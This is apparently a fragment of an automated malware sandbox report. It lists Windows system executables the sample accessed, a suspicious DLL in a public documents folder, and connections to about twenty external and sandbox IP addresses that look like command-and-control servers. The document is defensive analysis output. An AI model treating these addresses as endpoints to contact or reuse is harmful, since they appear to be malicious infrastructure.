file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\Public\Documents\ssd.dll
file	C:\Windows\System32\cmd.exe

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (21 events)

dead_host	192.168.56.102:49216
dead_host	192.168.56.102:49196
dead_host	212.237.17.99:8080
dead_host	217.182.143.207:443
dead_host	203.114.109.124:443
dead_host	192.168.56.102:49213
dead_host	192.168.56.102:49203
dead_host	192.168.56.102:49212
dead_host	207.38.84.195:8080
dead_host	192.168.56.102:49218
dead_host	192.168.56.102:49198
dead_host	192.254.71.210:443
dead_host	192.168.56.102:49215
dead_host	45.142.114.231:8080
dead_host	178.79.147.66:8080
dead_host	45.176.232.124:443
dead_host	192.168.56.102:49197
dead_host	58.227.42.236:80
dead_host	79.172.212.216:8080
dead_host	192.168.56.102:49214
dead_host	51.68.175.8:8080

cc.html

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All